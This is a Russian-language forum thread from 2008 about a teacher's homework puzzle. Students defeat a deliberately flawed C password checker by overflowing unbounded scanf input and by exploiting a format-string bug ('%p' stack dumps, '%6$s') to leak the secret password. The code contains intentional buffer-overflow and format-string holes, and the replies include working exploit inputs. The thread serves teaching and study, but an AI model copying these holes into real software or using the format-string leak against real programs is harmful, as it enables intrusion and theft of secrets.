Задача для хекеров =)

Discussion in 'Реверсинг' started by VERte][, 18 Sep 2008.

  1. VERte][

    VERte][ Elder - Старейшина

    Joined:
    17 May 2007
    Messages:
    240
    Likes Received:
    163
    Reputations:
    32
    (Очень занимательное домашнее задание от препода =) )
    Дана несколько запутанная программа. Преподователь вводит пароль, который студент не видит. После этого студент должен ввести свои варианты пароля и добиться вывода строки "You're COOl hacker" Количество попыток ограниченно(2 штуки). Требование: во время угадывания нельзя запускать дебаггеры, виртуальные машины и т.д. Просто для исследования программы можно использовать дизасм и дебаггер, hex редакторы нельзя использовать (препод все равно будет компилить прогу сам). (Решений несколько)
    Код программы:
    Code:
    #include <stdio.h>
    #include <stdlib.h>
    
    #define ARRAY_LENGTH 100
    int main()
    {
    	int flag;
    	int i,j;
    	char a_passwords[2][ARRAY_LENGTH]={"xxx","yyy"};
    	char *p_user = NULL;
    	char *p_etalon =NULL;
    
    	p_etalon=a_passwords[0];
    	p_user=a_passwords[1];
    	printf("Etalon password: ");
    	fflush(stdout);
    	scanf("%s",p_etalon);
    	for (i=0; i<10000;i++) //что бы студент не видел, что было введено преподом
    	{
    		printf("\n");
    	}
    	a_passwords[1][0]=&p_etalon-&p_user;
    	for (j=2;j>0;j--)
    	{
    		printf("Password: ");
    		fflush(stdout);
    
    		scanf("%s",p_user);
    
    	    flag=0;
    		for (i=0; i<ARRAY_LENGTH;i++)
    		{
    			flag=(p_etalon[i]!=p_user[i]);
    			if ((p_etalon[i]==0) || (p_user[i]==0) || flag)
    				break;
    		}
    		if (flag)
    		{
    			printf(p_user);
    			printf(" - wrong pasword!\n");
    		}
    		else
    		{
    			printf("\nYou're COOl hacker!!!\n");
    			exit(0);
    		}
    	}
    	printf("You're looser!!!\n");
    	return 0;
    }
     
  2. ProTeuS

    ProTeuS --

    Joined:
    26 Nov 2004
    Messages:
    1,239
    Likes Received:
    542
    Reputations:
    445
    если отлад4ик можно юзать, то какие-проблемы? препод ввел серийнки. запустил ольку, приатта4ился, нашел код ввода проверки, отттрейсил сравнение, нашел буфер эталонного паса, ввел. все. 1 попытка, 100% результат
     
  3. VERte][

    VERte][ Elder - Старейшина

    Joined:
    17 May 2007
    Messages:
    240
    Likes Received:
    163
    Reputations:
    32
    Отладчик можно использовать дома, что бы изучить структуру, того что скомпилировалось. Использовать инструменты во время проверки нельзя.
     
  4. goodkit

    goodkit Member

    Joined:
    19 May 2006
    Messages:
    160
    Likes Received:
    30
    Reputations:
    2
    keylogger поставь ^_^
     
    2 people like this.
  5. VERte][

    VERte][ Elder - Старейшина

    Joined:
    17 May 2007
    Messages:
    240
    Likes Received:
    163
    Reputations:
    32
    Проблема чисто программая:)
     
  6. winterfrost

    winterfrost Elder - Старейшина

    Joined:
    18 Aug 2008
    Messages:
    42
    Likes Received:
    18
    Reputations:
    15
    Вероятно, один из способов решения, это использовать ошибку форматной строки:
    Code:
    printf(p_user);
    Так-же нет никаких ограничений на длинну ввода в переменные, вероятно, это тоже можо как-то использовать. Например, если во время первого запроса на ввод пароля ввести более 122 символов, то исчезнет ограничение на 2-е попытки угадать пароль

    P.S. компилировал gcc на 64-битной системе

    upd:
    Вобщем, вот мой вариант решения данной задачи =)
    Code:
    Etalon password: 1234
    [...]
    Password: <122 симола 'a'>
    <122 симола 'a'> - wrong pasword!
    Password: %c%c%c
    
    1 - wrong pasword!
    Password: 1%c%c%c
    1
    2 - wrong pasword!
    Password: 12%c%c%c
    12
    3 - wrong pasword!
    Password: 123%c%c%c
    123
    4 - wrong pasword!
    Password: 1234%c%c%c
    1234
     - wrong pasword!
    Password: 1234
    
    You're COOl hacker!!!
    
    Сообщая что пароль не верный, программа выводит следующий верный симол пароля(перед "- wrong pasword!"), таким образом, убрав ограничение на 2-е попытки (122 сивола 'a'), мы посимвольно подбираем верный пароль.
     
    #6 winterfrost, 18 Sep 2008
    Last edited: 18 Sep 2008
    2 people like this.
  7. paulzey

    paulzey Elder - Старейшина

    Joined:
    30 Oct 2007
    Messages:
    52
    Likes Received:
    16
    Reputations:
    5
    Особой сложности не имеет. Есть два способа обхода.
    1) Системный. Часто все забывают, что типовой системный ввод обладает "историей". Достаточно во время ввода нажать кнопку вверх, последнее введённое значение будет подставлено.

    2) Программный. В самом деле, внимательно смотрим на два куска кода.
    и

    Соответственно, значением a_passwords[1] можно переписать значение p_user, заставив программу сравнивать пользовательский пароль сам с собой.
    Проверим идею - вуа-ля, см. рисунок:
    [​IMG]
    С клавиатуры вводятся (через Alt+Num Цифра) три байта. В моём случае - с кодами 20, 255, 18 (0x12FF14). Путём анализа скомпилированного кода можно узнать значение для конкретного случая.
    [​IMG]
    Желтым выделена область, содержащая эталон пароля, красным - пользовательский, зелёным - ссылочные переменные. Возможно затереть только три байта первой ссылки (нулевой символ с клавиатуры ввести нельзя). Таким образом, просто узнав второй адрес, можно поместить его в кодах позади последовательности, буфер переполнится, значение затрётся, после ста проверок флаг всё равно будет нулевой.
    Пример данных, затирающих ссылку.
    [​IMG]
    Видно, что данные ссылок одинаковы. Именно это обстоятельство позволяет осуществить успешную атаку.
     
    3 people like this.
  8. VERte][

    VERte][ Elder - Старейшина

    Joined:
    17 May 2007
    Messages:
    240
    Likes Received:
    163
    Reputations:
    32
    в добавление, компилироваться все это будет на unix машине
     
  9. paulzey

    paulzey Elder - Старейшина

    Joined:
    30 Oct 2007
    Messages:
    52
    Likes Received:
    16
    Reputations:
    5
    Тогда придётся активно осваивать gdb. Сейчас, к сожалению, ни одной завалящей консоли под рукой нет, проверить не на чем, как на обед пойду - гляну, что да как.
     
  10. VERte][

    VERte][ Elder - Старейшина

    Joined:
    17 May 2007
    Messages:
    240
    Likes Received:
    163
    Reputations:
    32
    Проанализировав программы с разных компиляторов, пришел к выводу, что решения с затиранием числа попыток ввода и указателей (p_user, p_etalon) очень сильно зависят от компилятора и флагов компиляции. Например у меня на xp pro sp2 с компилером gcc, без оптимайза число попыток непосредственно загружалось в регистр в программе, а указатели находились до массива, так что эти способы не канали (хотя изменяя флаги компиляции можно было прийти к данным решениям). Тем не менее существует (на мой взгляд) достаточно универсальный способ нахождения пароля. Завтра я его выложу (после того как сдам работу преподу, конкуренция блин=) ), кто выложит до меня поставлю +15 (ибо способ достаточно сложен для нахождения), если будет найден ещё один универсальный способ поставлю +20. Дерзайте =)
     
    #10 VERte][, 21 Sep 2008
    Last edited: 21 Sep 2008
  11. winterfrost

    winterfrost Elder - Старейшина

    Joined:
    18 Aug 2008
    Messages:
    42
    Likes Received:
    18
    Reputations:
    15
    Немного усовершенствовал =)
    Code:
    Etalon password: AAAABBBB
    [....]
    Password: %p:%p:%p:%p:%p:%p:%p:%p:%p:%p:%p:%p:%p 
    0xa:(nil):0x41:0x7f86618356f0:0xa:[B]0x7fff69875360[/B]:0x7fff698753c4:0x4242424241414141:(nil):(nil):(nil):(nil):(nil) - wrong pasword!
    Password: 
    
    Получаем содержимое стэка через ошибку форматной строки. С помощюь gdb определяем, что 0x7fff69875360 указывает на Etalon password ( виден дальше в стэке - 0x4242424241414141 ), а т.к. это 6-й аргумент, то вытащить его из стэка можно с помошью спецификатора "%6$s":

    Code:
    Etalon password: qwertyzaq1234
    [....]
    Password: %6$s
    qwertyzaq1234 - wrong pasword!
    Password: qwertyzaq1234
    
    You're COOl hacker!!!
    
    Компилил gcc linux x86_64. Возможно в других систаемах/компиляторах вместо "%6$s" что-то другое будет.

    http://void.ru/content/760 - статья про format string error.
     
    6 people like this.
  12. VERte][

    VERte][ Elder - Старейшина

    Joined:
    17 May 2007
    Messages:
    240
    Likes Received:
    163
    Reputations:
    32
    Да это и есть тот способ, работает и в unix под gcc, и в win под vs и borland, с инверсированным стеком и нет. Молодец +15

    ЗЫ. Как оказалось, больше универсальных способов нет
     
    #12 VERte][, 22 Sep 2008
    Last edited: 22 Sep 2008